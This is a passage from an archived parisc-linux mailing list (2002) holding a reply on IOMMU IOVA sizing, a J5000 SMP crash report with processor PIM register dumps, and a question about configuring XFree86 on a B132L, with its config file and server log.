> Using a smaller value will result in more IOMMU resource.

I have to ask the obvious question -- why not just always use
the largest possible IOVA space, as IA64 does?  Is it a question
of wasting space on IO PDIR entries?


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Mon, 22 Jul 2002 09:29:15 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020722152915.38977482A@dsl2.external.hp.com>
References: <3D383969.1657EF43@ruhr-west.de> <20020720152919.9D690483D@dsl2.external.hp.com>  <200207220824.13959.bjorn_helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621555 11333 80.91.229.3 (22 Nov 2014 01:59:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:15 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Bjorn Helgaas <bjorn_helgaas@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 22 09:29:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 38977482A; Mon, 22 Jul 2002 09:29:15 -0600 (MDT)
In-Reply-To: Message from Bjorn Helgaas <bjorn_helgaas@hp.com> 
   of "Mon, 22 Jul 2002 08:24:13 MDT." <200207220824.13959.bjorn_helgaas@hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15606

Bjorn Helgaas wrote:
> I have to ask the obvious question -- why not just always use
> the largest possible IOVA space, as IA64 does?  Is it a question
> of wasting space on IO PDIR entries?

HP ZX1 has something like 512MB or 1GB RAM for the minimum config.
IIRC, 32MB or 64MB was the minimum for C-class boxes and early K-class.
The difference between sizing and not sizing is normally
256KB to 1MB of memory that otherwise just wouldn't get used.

(I assume you meant to size the IOVA space based on physical memory
up to the max IOVA space supported by U2/Uturn.)

grant


From - Thu Nov 08 21:23:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5000 SMP problem
Date: Mon, 22 Jul 2002 12:30:12 -0700 (PDT)
Lines: 321
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207221210530.2211-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621555 11335 80.91.229.3 (22 Nov 2014 01:59:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 22 13:30:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8784D482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Jul 2002 13:30:16 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id EFE677BC5A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Jul 2002 12:30:12 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15607

Here's the current crash info with console.  Hopefully I included all 
relevant info.  I'm running 2.4.18-pa55 SMP on a J5000 with 512M ram.  If 
you have any ideas of where I should look for further info, or need to 
know something else about the box, I'd be happy to provide.

Near the end of apt-get update (usually in the "Reading Package Lists" but
this time in end of download), the box crashes.  The console prints the
message "apt-get(268): unaligned access to 0x403ce08c at ip=0x4005e4f7".  
The LCD screen reads "FLT CBFF: SYS BD \ multiple HPMCs" "FLT CBF0: SYS BD
\ HPMC initiated" "FLT 5008: SYS BD \ Runway broad err" "FLT CBF4: SYS BD
\ bad OS HPMC cksm" "FLT CBFC: SYS BD \ OS HPMC br err" "FLT CBF0: SYS BD 
\ HPMC initiated" in an infinate loop.

After power-cycling the box, I interrupted the boot and did a "ser pim".  
Here's the output.  There is nothing in the log files.

PROCESSOR PIM INFORMATION
-----------------  Processor 0 HPMC Information ------------------
Timestamp = 
  Fri Jul  19 22:44:13 GMT 2002    (20:02:07:19:22:44:13)

HPMC Chassis Codes = 2cbf0  25008  2cbf4  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  fffffff0f009d000  fffffff0f000b618  00000000000186a0
04-07   00000019742b1ec9  0000000000000000  00000000003396f8  fffffffffed30000
08-11   fffffff0f0414800  fffffff0f009c850  0000000000000000  0100000000000000
12-15   fffffffffed30058  fffffffffed30000  0000000000000000  fffffffffed30080
16-19   0000000000000001  000000000000000c  0000000000029494  fffffff0f007ee38
20-23   0000000000000007  fffffffffed22238  0000000000000009  fffffff0f003d428
24-27   00000000017553c2  00000000061a8000  00000000029f6300  fffffff0f0412000
28-31   00000000029f6300  0000000000000008  0000000000339a08  fffffff0f007ee38

<Press any key to continue (q to quit)> 
Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   00000000000001ea  0000000000000000  00000000000000c0  000000000000003f
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ff000000
16-19   0000001975a483a5  000000003ffffff5  fffffff0f000b628  00000000020008b8
20-23   0000000014340000  00000000ce7399b0  000000ff0808e908  0000000088000000
24-27   0000000000354000  000000001d9bb000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000002d9d0000  00000000103f0000
Space Registers 0 - 7

00-03   00000000          000000f5          00000000          000000f5
04-07   000000f5          000000f5          000000f5          000000f5

<Press any key to continue (q to quit)> 

IIA Space                    = 0x000000003ffffff5
IIA Offset                   = 0xfffffff0f000b620
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa0000
System Requestor Address     = 0xfffffffffffa2000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000a00000001  3f3333334fd369dc  00000003c8700000  7857f4754fd369dc
08-11   00000004b36f8c92  ffffffff0000000a  10101fc000000000  103ffdb300000000
12-15   0000000010347810  1117469010148340  1034781010353640  11174000103e8000
16-19   2ffba00011174000  0000000000000002  000000001034b010  1034781010346810
20-23   1034701010347810  103478102ffba000  0000000000000001  0000000100000000
24-27   0000000100000000  0000000000000000  0000000000000000  00000000102f46b4
28-31   3031323334353637  38396162101485e8  6768696a6b6c6d6e  6f70717273747576

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81841008000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0201000000000004
CPU Status Register 0        = 0x3440c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4820000000000000
Read Short LOG               = 0xc13ff0f0f000b628
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x53c43f51e840d000
RUN_DATA_LOW                 = 0x53c33f4d481f06b8
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc13ff0f0f000b630
System Responder Path        = 0x00ffffffffffffff

HPMC PIM Analysis Information:
Timestamp = 
  Fri Jul  19 22:44:13 GMT 2002    (20:02:07:19:22:44:13)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

CPU 0 observed a Broadcast Error on the Runway Bus.
Memory/IO Controller Error Analysis Information:

<Press any key to continue (q to quit)> 

-----------------  Processor 0 LPMC Information ------------------
Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------
General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 
Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)> 

-----------------  Processor 1 HPMC Information ------------------
Timestamp = 
  Fri Jul  19 22:44:13 GMT 2002    (20:02:07:19:22:44:13)

HPMC Chassis Codes = 2cbf0  

General Registers 0 - 31
00-03   0000000000000000  000000001034cf20  000000001010090c  0000000000000000
04-07   0000000000354000  00000000f0400008  00000000000000fa  00000000f0002f68
08-11   0000000000000000  0000000000000000  000000000004000e  0000000010393408
12-15   00000000000000f2  0000000000000001  0000000000000001  00000000000000f3
16-19   0000000002020202  0000000000000002  00000000f000016c  000000001117c000
20-23   0000000000000000  00000000103262a0  0000000010347804  0000000000000000
24-27   00000000103478e0  0000000000000032  0000000000000019  0000000010326010
28-31   0000000000000000  0000000000000010  000000001117c6c0  00000000103478e0

<Press any key to continue (q to quit)> 
Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000114  0000000000000000  00000000000000c0  000000000000001e
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ff000000
16-19   00000019366a2a9a  0000000000000000  0000000010100914  0000000086803fe5
20-23   0000000000000000  0000000000000000  000000000004ff0f  0000000000000000
24-27   0000000000354000  000000001f77c000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000001117c000  0000000011111111
Space Registers 0 - 7

00-03   00000000          0000008a          00000000          0000008a
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000010100918
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa2000
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   2ffba00000000001  000000011015fa10  1035305000000000  11174000103e8000
08-11   1035305000000002  ffffffff0000000a  10101fc000000000  103ffdb300000000
12-15   0000000010347810  1117469010148340  1034781010353640  11174000103e8000
16-19   2ffba00011174000  0000000000000002  000000001034b010  1034781010346810
20-23   1034701010347810  103478102ffba000  cccccccd51eb874f  0000000333333334
24-27   b38cf9b100000450  0000000600000000  0000000f102f46a8  2ffba005102f46b4
28-31   3031323334353637  38396162101485e8  6768696a6b6c6d6e  6f70717273747576

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81841000000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0201010000000004
CPU Status Register 0        = 0x3440c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000000
Read Short LOG               = 0xc1af00fffed30000
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x37470000ebffbb9d
RUN_DATA_LOW                 = 0x37470000ebffbb9d
RUN_CTRL                     = 0x0000005c00001658
RUN_ADDR                     = 0xc1bff0f0f0408f08
System Responder Path        = 0x00ffffffffffffff

HPMC PIM Analysis Information:
   No valid timestamp


Memory/IO Controller Error Analysis Information:

<Press any key to continue (q to quit)> 

-----------------  Processor 1 LPMC Information ------------------
Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 1 TOC Information -------------------
General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 
Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)> 
Memory Error Log Information:
Timestamp = 
  Fri Jul  19 22:44:13 GMT 2002    (20:02:07:19:22:44:13)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged
I/O Module Error Log Information:
Timestamp = 
  Fri Jul  19 22:44:13 GMT 2002    (20:02:07:19:22:44:13)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc229   ------------------
   3    ----------   0x3f4fd808   ------------------
   4    0x00000000   0x40000008   0xffffffffffffffff
   5    ----------   0x50000008   ------------------
   6    0x00000000   0x60000008   0xffffffffffffffff
   7    ----------   0x70100008   ------------------
Main Menu: Enter command > 

--
	"During the race
	 We may eat your dust,
	 But when you graduate,
	 You'll work for us."
	-- Reed College cheer



From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Madden <madden@maddentechnologies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86 on B132L using Debian 3.0
Date: Mon, 22 Jul 2002 18:40:21 -0500
Lines: 299
Approved: news@gmane.org
Message-ID: <20020722234020.GA16294@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621555 11339 80.91.229.3 (22 Nov 2014 01:59:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 22 17:40:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zeus.maddentechnologies.com (dsl-64-195-19-17.telocity.com [64.195.19.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7D28482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Jul 2002 17:40:28 -0600 (MDT)
Original-Received: from madden by zeus.maddentechnologies.com with local (Exim 3.35 #1 (Debian))
	id 17Wmmr-0004FY-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Jul 2002 18:40:21 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15608

Has anyone gotten X to work with the recently released Debian 3.0 on 
a PA-RISC machine?  I have a B132L+ that I've installed Debian 3.0 on,
but I cannot get X setup correctly.

I am attaching my config and log files if it helps.

Thanks in advance,
Michael

================================================================================

### BEGIN DEBCONF SECTION
# XF86Config-4 (XFree86 server configuration file) generated by dexconf, the
# Debian X Configuration tool, using values from the debconf database.
#
# Edit this file with caution, and see the XF86Config-4 manual page.
# (Type "man XF86Config-4" at the shell prompt.)
#
# If you want your changes to this file preserved by dexconf, only make changes
# before the "### BEGIN DEBCONF SECTION" line above, and/or after the
# "### END DEBCONF SECTION" line below.
#
# To change things within the debconf section, run the command:
#   dpkg-reconfigure xserver-xfree86
# as root.  Also see "How do I add custom sections to a dexconf-generated
# XF86Config or XF86Config-4 file?" in /usr/share/doc/xfree86-common/FAQ.gz.

Section "Files"
	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
	Load	"GLcore"
	Load	"bitmap"
	Load	"dbe"
	Load	"ddc"
	Load	"dri"
	Load	"extmod"
	Load	"freetype"
	Load	"glx"
	Load	"int10"
	Load	"pex5"
	Load	"record"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
	Load	"xie"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xfree86"
	Option		"XkbModel"	"pc104"
	Option		"XkbLayout"	"us"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/psaux"
	Option		"Protocol"		"PS/2"
EndSection

Section "InputDevice"
	Identifier	"Generic Mouse"
	Driver		"mouse"
	Option		"SendCoreEvents"	"true"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
EndSection

Section "Device"
	Identifier	"Generic Video Card"
	Driver		"fbdev"
	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"Generic Monitor"
	HorizSync	30-130
	VertRefresh	50-160
	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	DefaultDepth	24
	SubSection "Display"
		Depth		1
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		4
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		8
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		15
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		16
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		24
		Modes		"1280x1024"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
	InputDevice	"Generic Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection

### END DEBCONF SECTION

================================================================================

This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Mon Jul 22 17:39:11 2002
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Generic Keyboard"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc104"
(**) XKB: model: "pc104"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Configured Mouse"
(**) |-->Input Device "Generic Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(++) using VT number 7

(WW) Cannot open APM
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:13:0: chip 1000,000f card 0000,0000 rev 04 class 01,00,00 hdr 00
(II) PCI: 00:14:0: chip 1011,0019 card 103c,104f rev 30 class 02,00,00 hdr 00
(II) PCI: 01:04:0: chip 103c,1008 card 0000,0000 rev 02 class 03,80,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 0 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1: bridge is at (0:0:0), (-1,1,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 1 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25, BIOS @ 0xf1e00000/21
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) Active PCI resource ranges:
	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) Active PCI resource ranges after removing overlaps:
	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[3] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[4] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[5] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[6] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[7] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
